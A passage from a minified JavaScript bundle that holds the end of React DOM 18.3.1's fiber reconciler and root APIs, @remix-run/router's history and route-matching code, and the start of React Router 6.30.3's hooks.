w=o.child;if(o.subtreeFlags&2064&&w!==null)w.return=o,me=w;else e:for(o=b;me!==null;){if(l=me,l.flags&2048)try{switch(l.tag){case 0:case 11:case 15:rd(9,l)}}catch(N){nt(l,l.return,N)}if(l===o){me=null;break e}var j=l.sibling;if(j!==null){j.return=l.return,me=j;break e}me=l.return}}if(Pe=i,_i(),ur&&typeof ur.onPostCommitFiberRoot=="function")try{ur.onPostCommitFiberRoot(qu,e)}catch{}r=!0}return r}finally{Le=n,En.transition=t}}return!1}function Dg(e,t,n){t=as(n,t),t=B5(e,t,1),e=hi(e,t,1),t=Wt(),e!==null&&(el(e,1,t),en(e,t))}function nt(e,t,n){if(e.tag===3)Dg(e,e,n);else for(;t!==null;){if(t.tag===3){Dg(t,e,n);break}else if(t.tag===1){var r=t.stateNode;if(typeof t.type.getDerivedStateFromError=="function"||typeof r.componentDidCatch=="function"&&(xi===null||!xi.has(r))){e=as(n,e),e=F5(t,e,1),t=hi(t,e,1),e=Wt(),t!==null&&(el(t,1,e),en(t,e));break}}t=t.return}}function EP(e,t,n){var r=e.pingCache;r!==null&&r.delete(t),t=Wt(),e.pingedLanes|=e.suspendedLanes&n,Nt===e&&(Ot&n)===n&&(vt===4||vt===3&&(Ot&130023424)===Ot&&500>at()-px?Zi(e,0):mx|=n),en(e,t)}function oj(e,t){t===0&&(e.mode&1?(t=El,El<<=1,!(El&130023424)&&(El=4194304)):t=1);var n=Wt();e=Or(e,t),e!==null&&(el(e,t,n),en(e,n))}function _P(e){var t=e.memoizedState,n=0;t!==null&&(n=t.retryLane),oj(e,n)}function AP(e,t){var n=0;switch(e.tag){case 13:var r=e.stateNode,i=e.memoizedState;i!==null&&(n=i.retryLane);break;case 19:r=e.stateNode;break;default:throw Error(ee(314))}r!==null&&r.delete(t),oj(e,n)}var lj;lj=function(e,t,n){if(e!==null)if(e.memoizedProps!==t.pendingProps||Qt.current)Yt=!0;else{if(!(e.lanes&n)&&!(t.flags&128))return Yt=!1,gP(e,t,n);Yt=!!(e.flags&131072)}else Yt=!1,Ke&&t.flags&1048576&&f5(t,Bc,t.index);switch(t.lanes=0,t.tag){case 2:var r=t.type;vc(e,t),e=t.pendingProps;var i=ts(t,$t.current);qa(t,n),i=ox(null,t,r,e,i,n);var s=lx();return t.flags|=1,typeof i=="object"&&i!==null&&typeof i.render=="function"&&i.$$typeof===void 0?(t.tag=1,t.memoizedState=null,t.updateQueue=null,Jt(r)?(s=!0,Rc(t)):s=!1,t.memoizedState=i.state!==null&&i.state!==void 0?i.state:null,nx(t),i.updater=nd,t.stateNode=i,i._reactInternals=t,mp(t,r,e,n),t=xp(null,t,r,!0,s,n)):(t.tag=0,Ke&&s&&qh(t),Bt(null,t,i,n),t=t.child),t;case 16:r=t.elementType;e:{switch(vc(e,t),e=t.pendingProps,i=r._init,r=i(r._payload),t.type=r,i=t.tag=TP(r),e=Bn(r,e),i){case 0:t=hp(null,t,r,e,n);break e;case 1:t=Cg(null,t,r,e,n);break e;case 11:t=zg(null,t,r,e,n);break e;case 14:t=Sg(null,t,r,Bn(r.type,e),n);break e}throw Error(ee(306,r,""))}return t;case 0:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Bn(r,i),hp(e,t,r,i,n);case 1:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Bn(r,i),Cg(e,t,r,i,n);case 3:e:{if(H5(t),e===null)throw Error(ee(387));r=t.pendingProps,s=t.memoizedState,i=s.element,g5(e,t),Uc(t,r,null,n);var o=t.memoizedState;if(r=o.element,s.isDehydrated)if(s={element:r,isDehydrated:!1,cache:o.cache,pendingSuspenseBoundaries:o.pendingSuspenseBoundaries,transitions:o.transitions},t.updateQueue.baseState=s,t.memoizedState=s,t.flags&256){i=as(Error(ee(423)),t),t=Pg(e,t,r,n,i);break e}else if(r!==i){i=as(Error(ee(424)),t),t=Pg(e,t,r,n,i);break e}else for(cn=pi(t.stateNode.containerInfo.firstChild),dn=t,Ke=!0,Wn=null,n=x5(t,null,r,n),t.child=n;n;)n.flags=n.flags&-3|4096,n=n.sibling;else{if(ns(),r===i){t=Tr(e,t,n);break e}Bt(e,t,r,n)}t=t.child}return t;case 5:return y5(t),e===null&&up(t),r=t.type,i=t.pendingProps,s=e!==null?e.memoizedProps:null,o=i.children,ap(r,i)?o=null:s!==null&&ap(r,s)&&(t.flags|=32),V5(e,t),Bt(e,t,o,n),t.child;case 6:return e===null&&up(t),null;case 13:return K5(e,t,n);case 4:return rx(t,t.stateNode.containerInfo),r=t.pendingProps,e===null?t.child=rs(t,null,r,n):Bt(e,t,r,n),t.child;case 11:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Bn(r,i),zg(e,t,r,i,n);case 7:return Bt(e,t,t.pendingProps,n),t.child;case 8:return Bt(e,t,t.pendingProps.children,n),t.child;case 12:return Bt(e,t,t.pendingProps.children,n),t.child;case 10:e:{if(r=t.type._context,i=t.pendingProps,s=t.memoizedProps,o=i.value,Be(Fc,r._currentValue),r._currentValue=o,s!==null)if(qn(s.value,o)){if(s.children===i.children&&!Qt.current){t=Tr(e,t,n);break e}}else for(s=t.child,s!==null&&(s.return=t);s!==null;){var l=s.dependencies;if(l!==null){o=s.child;for(var c=l.firstContext;c!==null;){if(c.context===r){if(s.tag===1){c=Pr(-1,n&-n),c.tag=2;var u=s.updateQueue;if(u!==null){u=u.shared;var d=u.pending;d===null?c.next=c:(c.next=d.next,d.next=c),u.pending=c}}s.lanes|=n,c=s.alternate,c!==null&&(c.lanes|=n),dp(s.return,n,t),l.lanes|=n;break}c=c.next}}else if(s.tag===10)o=s.type===t.type?null:s.child;else if(s.tag===18){if(o=s.return,o===null)throw Error(ee(341));o.lanes|=n,l=o.alternate,l!==null&&(l.lanes|=n),dp(o,n,t),o=s.sibling}else o=s.child;if(o!==null)o.return=s;else for(o=s;o!==null;){if(o===t){o=null;break}if(s=o.sibling,s!==null){s.return=o.return,o=s;break}o=o.return}s=o}Bt(e,t,i.children,n),t=t.child}return t;case 9:return i=t.type,r=t.pendingProps.children,qa(t,n),i=_n(i),r=r(i),t.flags|=1,Bt(e,t,r,n),t.child;case 14:return r=t.type,i=Bn(r,t.pendingProps),i=Bn(r.type,i),Sg(e,t,r,i,n);case 15:return W5(e,t,t.type,t.pendingProps,n);case 17:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Bn(r,i),vc(e,t),t.tag=1,Jt(r)?(e=!0,Rc(t)):e=!1,qa(t,n),$5(t,r,i),mp(t,r,i,n),xp(null,t,r,!0,e,n);case 19:return G5(e,t,n);case 22:return U5(e,t,n)}throw Error(ee(156,t.tag))};function cj(e,t){return Iw(e,t)}function OP(e,t,n,r){this.tag=e,this.key=n,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=t,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=r,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function Cn(e,t,n,r){return new OP(e,t,n,r)}function gx(e){return e=e.prototype,!(!e||!e.isReactComponent)}function TP(e){if(typeof e=="function")return gx(e)?1:0;if(e!=null){if(e=e.$$typeof,e===Dh)return 11;if(e===Rh)return 14}return 2}function gi(e,t){var n=e.alternate;return n===null?(n=Cn(e.tag,t,e.key,e.mode),n.elementType=e.elementType,n.type=e.type,n.stateNode=e.stateNode,n.alternate=e,e.alternate=n):(n.pendingProps=t,n.type=e.type,n.flags=0,n.subtreeFlags=0,n.deletions=null),n.flags=e.flags&14680064,n.childLanes=e.childLanes,n.lanes=e.lanes,n.child=e.child,n.memoizedProps=e.memoizedProps,n.memoizedState=e.memoizedState,n.updateQueue=e.updateQueue,t=e.dependencies,n.dependencies=t===null?null:{lanes:t.lanes,firstContext:t.firstContext},n.sibling=e.sibling,n.index=e.index,n.ref=e.ref,n}function bc(e,t,n,r,i,s){var o=2;if(r=e,typeof e=="function")gx(e)&&(o=1);else if(typeof e=="string")o=5;else e:switch(e){case Aa:return Qi(n.children,i,s,t);case Ih:o=8,i|=8;break;case Dm:return e=Cn(12,n,t,i|2),e.elementType=Dm,e.lanes=s,e;case Rm:return e=Cn(13,n,t,i),e.elementType=Rm,e.lanes=s,e;case $m:return e=Cn(19,n,t,i),e.elementType=$m,e.lanes=s,e;case yw:return ad(n,i,s,t);default:if(typeof e=="object"&&e!==null)switch(e.$$typeof){case vw:o=10;break e;case gw:o=9;break e;case Dh:o=11;break e;case Rh:o=14;break e;case ti:o=16,r=null;break e}throw Error(ee(130,e==null?e:typeof e,""))}return t=Cn(o,n,t,i),t.elementType=e,t.type=r,t.lanes=s,t}function Qi(e,t,n,r){return e=Cn(7,e,r,t),e.lanes=n,e}function ad(e,t,n,r){return e=Cn(22,e,r,t),e.elementType=yw,e.lanes=n,e.stateNode={isHidden:!1},e}function Jf(e,t,n){return e=Cn(6,e,null,t),e.lanes=n,e}function em(e,t,n){return t=Cn(4,e.children!==null?e.children:[],e.key,t),t.lanes=n,t.stateNode={containerInfo:e.containerInfo,pendingChildren:null,implementation:e.implementation},t}function MP(e,t,n,r,i){this.tag=t,this.containerInfo=e,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=Mf(0),this.expirationTimes=Mf(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=Mf(0),this.identifierPrefix=r,this.onRecoverableError=i,this.mutableSourceEagerHydrationData=null}function yx(e,t,n,r,i,s,o,l,c){return e=new MP(e,t,n,l,c),t===1?(t=1,s===!0&&(t|=8)):t=0,s=Cn(3,null,null,t),e.current=s,s.stateNode=e,s.memoizedState={element:r,isDehydrated:n,cache:null,transitions:null,pendingSuspenseBoundaries:null},nx(s),e}function LP(e,t,n){var r=3<arguments.length&&arguments[3]!==void 0?arguments[3]:null;return{$$typeof:_a,key:r==null?null:""+r,children:e,containerInfo:t,implementation:n}}function uj(e){if(!e)return ki;e=e._reactInternals;e:{if(va(e)!==e||e.tag!==1)throw Error(ee(170));var t=e;do{switch(t.tag){case 3:t=t.stateNode.context;break e;case 1:if(Jt(t.type)){t=t.stateNode.__reactInternalMemoizedMergedChildContext;break e}}t=t.return}while(t!==null);throw Error(ee(171))}if(e.tag===1){var n=e.type;if(Jt(n))return u5(e,n,t)}return t}function dj(e,t,n,r,i,s,o,l,c){return e=yx(n,r,!0,e,i,s,o,l,c),e.context=uj(null),n=e.current,r=Wt(),i=vi(n),s=Pr(r,i),s.callback=t??null,hi(n,s,i),e.current.lanes=i,el(e,i,r),en(e,r),e}function sd(e,t,n,r){var i=t.current,s=Wt(),o=vi(i);return n=uj(n),t.context===null?t.context=n:t.pendingContext=n,t=Pr(s,o),t.payload={element:e},r=r===void 0?null:r,r!==null&&(t.callback=r),e=hi(i,t,o),e!==null&&(Gn(e,i,o,s),pc(e,i,o)),o}function Zc(e){if(e=e.current,!e.child)return null;switch(e.child.tag){case 5:return e.child.stateNode;default:return e.child.stateNode}}function Rg(e,t){if(e=e.memoizedState,e!==null&&e.dehydrated!==null){var n=e.retryLane;e.retryLane=n!==0&&n<t?n:t}}function bx(e,t){Rg(e,t),(e=e.alternate)&&Rg(e,t)}function IP(){return null}var fj=typeof reportError=="function"?reportError:function(e){console.error(e)};function wx(e){this._internalRoot=e}od.prototype.render=wx.prototype.render=function(e){var t=this._internalRoot;if(t===null)throw Error(ee(409));sd(e,t,null,null)};od.prototype.unmount=wx.prototype.unmount=function(){var e=this._internalRoot;if(e!==null){this._internalRoot=null;var t=e.containerInfo;oa(function(){sd(null,e,null,null)}),t[Ar]=null}};function od(e){this._internalRoot=e}od.prototype.unstable_scheduleHydration=function(e){if(e){var t=Uw();e={blockedOn:null,target:e,priority:t};for(var n=0;n<ii.length&&t!==0&&t<ii[n].priority;n++);ii.splice(n,0,e),n===0&&Hw(e)}};function jx(e){return!(!e||e.nodeType!==1&&e.nodeType!==9&&e.nodeType!==11)}function ld(e){return!(!e||e.nodeType!==1&&e.nodeType!==9&&e.nodeType!==11&&(e.nodeType!==8||e.nodeValue!==" react-mount-point-unstable "))}function $g(){}function DP(e,t,n,r,i){if(i){if(typeof r=="function"){var s=r;r=function(){var u=Zc(o);s.call(u)}}var o=dj(t,r,e,0,null,!1,!1,"",$g);return e._reactRootContainer=o,e[Ar]=o.current,No(e.nodeType===8?e.parentNode:e),oa(),o}for(;i=e.lastChild;)e.removeChild(i);if(typeof r=="function"){var l=r;r=function(){var u=Zc(c);l.call(u)}}var c=yx(e,0,!1,null,null,!1,!1,"",$g);return e._reactRootContainer=c,e[Ar]=c.current,No(e.nodeType===8?e.parentNode:e),oa(function(){sd(t,c,n,r)}),c}function cd(e,t,n,r,i){var s=n._reactRootContainer;if(s){var o=s;if(typeof i=="function"){var l=i;i=function(){var c=Zc(o);l.call(c)}}sd(t,o,e,i)}else o=DP(n,t,e,i,r);return Zc(o)}Fw=function(e){switch(e.tag){case 3:var t=e.stateNode;if(t.current.memoizedState.isDehydrated){var n=eo(t.pendingLanes);n!==0&&(Fh(t,n|1),en(t,at()),!(Pe&6)&&(ss=at()+500,_i()))}break;case 13:oa(function(){var r=Or(e,1);if(r!==null){var i=Wt();Gn(r,e,1,i)}}),bx(e,1)}};Wh=function(e){if(e.tag===13){var t=Or(e,134217728);if(t!==null){var n=Wt();Gn(t,e,134217728,n)}bx(e,134217728)}};Ww=function(e){if(e.tag===13){var t=vi(e),n=Or(e,t);if(n!==null){var r=Wt();Gn(n,e,t,r)}bx(e,t)}};Uw=function(){return Le};Vw=function(e,t){var n=Le;try{return Le=e,t()}finally{Le=n}};qm=function(e,t,n){switch(t){case"input":if(Wm(e,n),t=n.name,n.type==="radio"&&t!=null){for(n=e;n.parentNode;)n=n.parentNode;for(n=n.querySelectorAll("input[name="+JSON.stringify(""+t)+'][type="radio"]'),t=0;t<n.length;t++){var r=n[t];if(r!==e&&r.form===e.form){var i=Ju(r);if(!i)throw Error(ee(90));ww(r),Wm(r,i)}}}break;case"textarea":Nw(e,n);break;case"select":t=n.value,t!=null&&Ha(e,!!n.multiple,t,!1)}};_w=hx;Aw=oa;var RP={usingClientEntryPoint:!1,Events:[nl,La,Ju,Pw,Ew,hx]},$s={findFiberByHostInstance:Hi,bundleType:0,version:"18.3.1",rendererPackageName:"react-dom"},$P={bundleType:$s.bundleType,version:$s.version,rendererPackageName:$s.rendererPackageName,rendererConfig:$s.rendererConfig,overrideHookState:null,overrideHookStateDeletePath:null,overrideHookStateRenamePath:null,overrideProps:null,overridePropsDeletePath:null,overridePropsRenamePath:null,setErrorHandler:null,setSuspenseHandler:null,scheduleUpdate:null,currentDispatcherRef:Ur.ReactCurrentDispatcher,findHostInstanceByFiber:function(e){return e=Mw(e),e===null?null:e.stateNode},findFiberByHostInstance:$s.findFiberByHostInstance||IP,findHostInstancesForRefresh:null,scheduleRefresh:null,scheduleRoot:null,setRefreshHandler:null,getCurrentFiber:null,reconcilerVersion:"18.3.1-next-f1338f8080-20240426"};if(typeof __REACT_DEVTOOLS_GLOBAL_HOOK__<"u"){var Bl=__REACT_DEVTOOLS_GLOBAL_HOOK__;if(!Bl.isDisabled&&Bl.supportsFiber)try{qu=Bl.inject($P),ur=Bl}catch{}}xn.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED=RP;xn.createPortal=function(e,t){var n=2<arguments.length&&arguments[2]!==void 0?arguments[2]:null;if(!jx(t))throw Error(ee(200));return LP(e,t,null,n)};xn.createRoot=function(e,t){if(!jx(e))throw Error(ee(299));var n=!1,r="",i=fj;return t!=null&&(t.unstable_strictMode===!0&&(n=!0),t.identifierPrefix!==void 0&&(r=t.identifierPrefix),t.onRecoverableError!==void 0&&(i=t.onRecoverableError)),t=yx(e,1,!1,null,null,n,!1,r,i),e[Ar]=t.current,No(e.nodeType===8?e.parentNode:e),new wx(t)};xn.findDOMNode=function(e){if(e==null)return null;if(e.nodeType===1)return e;var t=e._reactInternals;if(t===void 0)throw typeof e.render=="function"?Error(ee(188)):(e=Object.keys(e).join(","),Error(ee(268,e)));return e=Mw(t),e=e===null?null:e.stateNode,e};xn.flushSync=function(e){return oa(e)};xn.hydrate=function(e,t,n){if(!ld(t))throw Error(ee(200));return cd(null,e,t,!0,n)};xn.hydrateRoot=function(e,t,n){if(!jx(e))throw Error(ee(405));var r=n!=null&&n.hydratedSources||null,i=!1,s="",o=fj;if(n!=null&&(n.unstable_strictMode===!0&&(i=!0),n.identifierPrefix!==void 0&&(s=n.identifierPrefix),n.onRecoverableError!==void 0&&(o=n.onRecoverableError)),t=dj(t,null,e,1,n??null,i,!1,s,o),e[Ar]=t.current,No(e),r)for(e=0;e<r.length;e++)n=r[e],i=n._getVersion,i=i(n._source),t.mutableSourceEagerHydrationData==null?t.mutableSourceEagerHydrationData=[n,i]:t.mutableSourceEagerHydrationData.push(n,i);return new od(t)};xn.render=function(e,t,n){if(!ld(t))throw Error(ee(200));return cd(null,e,t,!1,n)};xn.unmountComponentAtNode=function(e){if(!ld(e))throw Error(ee(40));return e._reactRootContainer?(oa(function(){cd(null,null,e,!1,function(){e._reactRootContainer=null,e[Ar]=null})}),!0):!1};xn.unstable_batchedUpdates=hx;xn.unstable_renderSubtreeIntoContainer=function(e,t,n,r){if(!ld(n))throw Error(ee(200));if(e==null||e._reactInternals===void 0)throw Error(ee(38));return cd(e,t,n,!1,r)};xn.version="18.3.1-next-f1338f8080-20240426";function mj(){if(!(typeof __REACT_DEVTOOLS_GLOBAL_HOOK__>"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(mj)}catch(e){console.error(e)}}mj(),mw.exports=xn;var Nx=mw.exports,Bg=Nx;Lm.createRoot=Bg.createRoot,Lm.hydrateRoot=Bg.hydrateRoot;/**
|
||
* @remix-run/router v1.23.2
|
||
*
|
||
* Copyright (c) Remix Software Inc.
|
||
*
|
||
* This source code is licensed under the MIT license found in the
|
||
* LICENSE.md file in the root directory of this source tree.
|
||
*
|
||
* @license MIT
|
||
*/function Oo(){return Oo=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Oo.apply(this,arguments)}var ci;(function(e){e.Pop="POP",e.Push="PUSH",e.Replace="REPLACE"})(ci||(ci={}));const Fg="popstate";function BP(e){e===void 0&&(e={});function t(r,i){let{pathname:s,search:o,hash:l}=r.location;return Pp("",{pathname:s,search:o,hash:l},i.state&&i.state.usr||null,i.state&&i.state.key||"default")}function n(r,i){return typeof i=="string"?i:Qc(i)}return WP(t,n,null,e)}function Xe(e,t){if(e===!1||e===null||typeof e>"u")throw new Error(t)}function kx(e,t){if(!e){typeof console<"u"&&console.warn(t);try{throw new Error(t)}catch{}}}function FP(){return Math.random().toString(36).substr(2,8)}function Wg(e,t){return{usr:e.state,key:e.key,idx:t}}function Pp(e,t,n,r){return n===void 0&&(n=null),Oo({pathname:typeof e=="string"?e:e.pathname,search:"",hash:""},typeof t=="string"?gs(t):t,{state:n,key:t&&t.key||r||FP()})}function Qc(e){let{pathname:t="/",search:n="",hash:r=""}=e;return n&&n!=="?"&&(t+=n.charAt(0)==="?"?n:"?"+n),r&&r!=="#"&&(t+=r.charAt(0)==="#"?r:"#"+r),t}function gs(e){let t={};if(e){let n=e.indexOf("#");n>=0&&(t.hash=e.substr(n),e=e.substr(0,n));let r=e.indexOf("?");r>=0&&(t.search=e.substr(r),e=e.substr(0,r)),e&&(t.pathname=e)}return t}function WP(e,t,n,r){r===void 0&&(r={});let{window:i=document.defaultView,v5Compat:s=!1}=r,o=i.history,l=ci.Pop,c=null,u=d();u==null&&(u=0,o.replaceState(Oo({},o.state,{idx:u}),""));function d(){return(o.state||{idx:null}).idx}function f(){l=ci.Pop;let y=d(),v=y==null?null:y-u;u=y,c&&c({action:l,location:g.location,delta:v})}function p(y,v){l=ci.Push;let b=Pp(g.location,y,v);u=d()+1;let w=Wg(b,u),j=g.createHref(b);try{o.pushState(w,"",j)}catch(N){if(N instanceof DOMException&&N.name==="DataCloneError")throw N;i.location.assign(j)}s&&c&&c({action:l,location:g.location,delta:1})}function h(y,v){l=ci.Replace;let b=Pp(g.location,y,v);u=d();let w=Wg(b,u),j=g.createHref(b);o.replaceState(w,"",j),s&&c&&c({action:l,location:g.location,delta:0})}function x(y){let v=i.location.origin!=="null"?i.location.origin:i.location.href,b=typeof y=="string"?y:Qc(y);return b=b.replace(/ $/,"%20"),Xe(v,"No window.location.(origin|href) available to create URL for href: "+b),new URL(b,v)}let g={get action(){return l},get location(){return e(i,o)},listen(y){if(c)throw new Error("A history only accepts one active listener");return i.addEventListener(Fg,f),c=y,()=>{i.removeEventListener(Fg,f),c=null}},createHref(y){return t(i,y)},createURL:x,encodeLocation(y){let v=x(y);return{pathname:v.pathname,search:v.search,hash:v.hash}},push:p,replace:h,go(y){return o.go(y)}};return g}var Ug;(function(e){e.data="data",e.deferred="deferred",e.redirect="redirect",e.error="error"})(Ug||(Ug={}));function UP(e,t,n){return n===void 0&&(n="/"),VP(e,t,n)}function VP(e,t,n,r){let i=typeof t=="string"?gs(t):t,s=os(i.pathname||"/",n);if(s==null)return null;let o=pj(e);HP(o);let l=null;for(let c=0;l==null&&c<o.length;++c){let u=nE(s);l=eE(o[c],u)}return l}function pj(e,t,n,r){t===void 0&&(t=[]),n===void 0&&(n=[]),r===void 0&&(r="");let i=(s,o,l)=>{let c={relativePath:l===void 0?s.path||"":l,caseSensitive:s.caseSensitive===!0,childrenIndex:o,route:s};c.relativePath.startsWith("/")&&(Xe(c.relativePath.startsWith(r),'Absolute route path "'+c.relativePath+'" nested under path '+('"'+r+'" is not valid. An absolute child route path ')+"must start with the combined path of all its parent routes."),c.relativePath=c.relativePath.slice(r.length));let u=yi([r,c.relativePath]),d=n.concat(c);s.children&&s.children.length>0&&(Xe(s.index!==!0,"Index routes must not have child routes. Please remove "+('all child routes from route path "'+u+'".')),pj(s.children,t,d,u)),!(s.path==null&&!s.index)&&t.push({path:u,score:QP(u,s.index),routesMeta:d})};return e.forEach((s,o)=>{var l;if(s.path===""||!((l=s.path)!=null&&l.includes("?")))i(s,o);else for(let c of hj(s.path))i(s,o,c)}),t}function hj(e){let t=e.split("/");if(t.length===0)return[];let[n,...r]=t,i=n.endsWith("?"),s=n.replace(/\?$/,"");if(r.length===0)return i?[s,""]:[s];let o=hj(r.join("/")),l=[];return l.push(...o.map(c=>c===""?s:[s,c].join("/"))),i&&l.push(...o),l.map(c=>e.startsWith("/")&&c===""?"/":c)}function HP(e){e.sort((t,n)=>t.score!==n.score?n.score-t.score:JP(t.routesMeta.map(r=>r.childrenIndex),n.routesMeta.map(r=>r.childrenIndex)))}const KP=/^:[\w-]+$/,GP=3,YP=2,qP=1,XP=10,ZP=-2,Vg=e=>e==="*";function QP(e,t){let n=e.split("/"),r=n.length;return n.some(Vg)&&(r+=ZP),t&&(r+=YP),n.filter(i=>!Vg(i)).reduce((i,s)=>i+(KP.test(s)?GP:s===""?qP:XP),r)}function JP(e,t){return e.length===t.length&&e.slice(0,-1).every((r,i)=>r===t[i])?e[e.length-1]-t[t.length-1]:0}function eE(e,t,n){let{routesMeta:r}=e,i={},s="/",o=[];for(let l=0;l<r.length;++l){let c=r[l],u=l===r.length-1,d=s==="/"?t:t.slice(s.length)||"/",f=Ep({path:c.relativePath,caseSensitive:c.caseSensitive,end:u},d),p=c.route;if(!f)return null;Object.assign(i,f.params),o.push({params:i,pathname:yi([s,f.pathname]),pathnameBase:oE(yi([s,f.pathnameBase])),route:p}),f.pathnameBase!=="/"&&(s=yi([s,f.pathnameBase]))}return o}function Ep(e,t){typeof e=="string"&&(e={path:e,caseSensitive:!1,end:!0});let[n,r]=tE(e.path,e.caseSensitive,e.end),i=t.match(n);if(!i)return null;let s=i[0],o=s.replace(/(.)\/+$/,"$1"),l=i.slice(1);return{params:r.reduce((u,d,f)=>{let{paramName:p,isOptional:h}=d;if(p==="*"){let g=l[f]||"";o=s.slice(0,s.length-g.length).replace(/(.)\/+$/,"$1")}const x=l[f];return h&&!x?u[p]=void 0:u[p]=(x||"").replace(/%2F/g,"/"),u},{}),pathname:s,pathnameBase:o,pattern:e}}function tE(e,t,n){t===void 0&&(t=!1),n===void 0&&(n=!0),kx(e==="*"||!e.endsWith("*")||e.endsWith("/*"),'Route path "'+e+'" will be treated as if it were '+('"'+e.replace(/\*$/,"/*")+'" because the `*` character must ')+"always follow a `/` in the pattern. To get rid of this warning, "+('please change the route path to "'+e.replace(/\*$/,"/*")+'".'));let r=[],i="^"+e.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:([\w-]+)(\?)?/g,(o,l,c)=>(r.push({paramName:l,isOptional:c!=null}),c?"/?([^\\/]+)?":"/([^\\/]+)"));return e.endsWith("*")?(r.push({paramName:"*"}),i+=e==="*"||e==="/*"?"(.*)$":"(?:\\/(.+)|\\/*)$"):n?i+="\\/*$":e!==""&&e!=="/"&&(i+="(?:(?=\\/|$))"),[new RegExp(i,t?void 0:"i"),r]}function nE(e){try{return e.split("/").map(t=>decodeURIComponent(t).replace(/\//g,"%2F")).join("/")}catch(t){return kx(!1,'The URL path "'+e+'" could not be decoded because it is is a malformed URL segment. This is probably due to a bad percent '+("encoding ("+t+").")),e}}function os(e,t){if(t==="/")return e;if(!e.toLowerCase().startsWith(t.toLowerCase()))return null;let n=t.endsWith("/")?t.length-1:t.length,r=e.charAt(n);return r&&r!=="/"?null:e.slice(n)||"/"}const rE=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,iE=e=>rE.test(e);function aE(e,t){t===void 0&&(t="/");let{pathname:n,search:r="",hash:i=""}=typeof e=="string"?gs(e):e,s;if(n)if(iE(n))s=n;else{if(n.includes("//")){let o=n;n=n.replace(/\/\/+/g,"/"),kx(!1,"Pathnames cannot have embedded double slashes - normalizing "+(o+" -> "+n))}n.startsWith("/")?s=Hg(n.substring(1),"/"):s=Hg(n,t)}else s=t;return{pathname:s,search:lE(r),hash:cE(i)}}function Hg(e,t){let n=t.replace(/\/+$/,"").split("/");return e.split("/").forEach(i=>{i===".."?n.length>1&&n.pop():i!=="."&&n.push(i)}),n.length>1?n.join("/"):"/"}function tm(e,t,n,r){return"Cannot include a '"+e+"' character in a manually specified "+("`to."+t+"` field ["+JSON.stringify(r)+"]. Please separate it out to the ")+("`to."+n+"` field. Alternatively you may provide the full path as ")+'a string in <Link to="..."> and the router will parse it for you.'}function sE(e){return e.filter((t,n)=>n===0||t.route.path&&t.route.path.length>0)}function zx(e,t){let n=sE(e);return t?n.map((r,i)=>i===n.length-1?r.pathname:r.pathnameBase):n.map(r=>r.pathnameBase)}function Sx(e,t,n,r){r===void 0&&(r=!1);let i;typeof e=="string"?i=gs(e):(i=Oo({},e),Xe(!i.pathname||!i.pathname.includes("?"),tm("?","pathname","search",i)),Xe(!i.pathname||!i.pathname.includes("#"),tm("#","pathname","hash",i)),Xe(!i.search||!i.search.includes("#"),tm("#","search","hash",i)));let s=e===""||i.pathname==="",o=s?"/":i.pathname,l;if(o==null)l=n;else{let f=t.length-1;if(!r&&o.startsWith("..")){let p=o.split("/");for(;p[0]==="..";)p.shift(),f-=1;i.pathname=p.join("/")}l=f>=0?t[f]:"/"}let c=aE(i,l),u=o&&o!=="/"&&o.endsWith("/"),d=(s||o===".")&&n.endsWith("/");return!c.pathname.endsWith("/")&&(u||d)&&(c.pathname+="/"),c}const yi=e=>e.join("/").replace(/\/\/+/g,"/"),oE=e=>e.replace(/\/+$/,"").replace(/^\/*/,"/"),lE=e=>!e||e==="?"?"":e.startsWith("?")?e:"?"+e,cE=e=>!e||e==="#"?"":e.startsWith("#")?e:"#"+e;function uE(e){return e!=null&&typeof e.status=="number"&&typeof e.statusText=="string"&&typeof e.internal=="boolean"&&"data"in e}const xj=["post","put","patch","delete"];new Set(xj);const dE=["get",...xj];new Set(dE);/**
|
||
* React Router v6.30.3
|
||
*
|
||
* Copyright (c) Remix Software Inc.
|
||
*
|
||
* This source code is licensed under the MIT license found in the
|
||
* LICENSE.md file in the root directory of this source tree.
|
||
*
|
||
* @license MIT
|
||
*/function To(){return To=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},To.apply(this,arguments)}const ud=m.createContext(null),vj=m.createContext(null),Vr=m.createContext(null),dd=m.createContext(null),hr=m.createContext({outlet:null,matches:[],isDataRoute:!1}),gj=m.createContext(null);function fE(e,t){let{relative:n}=t===void 0?{}:t;ys()||Xe(!1);let{basename:r,navigator:i}=m.useContext(Vr),{hash:s,pathname:o,search:l}=fd(e,{relative:n}),c=o;return r!=="/"&&(c=o==="/"?r:yi([r,o])),i.createHref({pathname:c,search:l,hash:s})}function ys(){return m.useContext(dd)!=null}function ga(){return ys()||Xe(!1),m.useContext(dd).location}function yj(e){m.useContext(Vr).static||m.useLayoutEffect(e)}function xr(){let{isDataRoute:e}=m.useContext(hr);return e?CE():mE()}function mE(){ys()||Xe(!1);let e=m.useContext(ud),{basename:t,future:n,navigator:r}=m.useContext(Vr),{matches:i}=m.useContext(hr),{pathname:s}=ga(),o=JSON.stringify(zx(i,n.v7_relativeSplatPath)),l=m.useRef(!1);return yj(()=>{l.current=!0}),m.useCallback(function(u,d){if(d===void 